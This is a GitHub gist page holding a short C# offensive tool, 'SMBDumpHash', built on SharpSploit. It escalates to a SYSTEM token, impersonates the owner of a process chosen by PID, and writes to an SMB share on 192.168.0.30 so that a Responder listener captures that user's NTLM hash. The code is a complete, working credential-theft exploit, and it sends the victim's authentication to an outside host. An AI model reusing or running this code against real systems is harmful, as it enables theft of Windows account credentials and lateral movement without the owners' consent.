Skip to content

Instantly share code, notes, and snippets.

@T0w3ntum
Last active February 20, 2019 15:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save T0w3ntum/8d02ce6981bbb3ab4f047f106662b715 to your computer and use it in GitHub Desktop.
Save T0w3ntum/8d02ce6981bbb3ab4f047f106662b715 to your computer and use it in GitHub Desktop.
using System;
using SharpSploit.Credentials;
using System.Management;
using System.IO;
class SMBDumpHash
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Process ID Required: ./sploit.exe <Pid>");
return;
}
Int32.TryParse(args[0], out int Pid);
Tokens t = new Tokens();
// I tried without first getting the system token but didn't seem to work.
if(t.GetSystem())
{
// Grab token from supplied PID
if(t.ImpersonateProcess((uint)Pid))
{
try
{
// Make sure Responder is running.
using (StreamWriter sw = new StreamWriter("\\\\192.168.0.30\\random\\text.txt"))
{
sw.WriteLine("abcdefghijklmnopqrstuvwxyz");
}
}
// We WANT this exception.
catch ( UnauthorizedAccessException )
{
Console.WriteLine("[+] Should have a hash");
}
catch ( IOException )
{
Console.WriteLine("[-] Network Access Denied for process owner");
}
t.RevertToSelf();
}
else
{
Console.WriteLine("Unable to impersonate user");
t.RevertToSelf();
}
}
else
{
Console.WriteLine("Unable to Get System");
t.RevertToSelf();
}
return;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment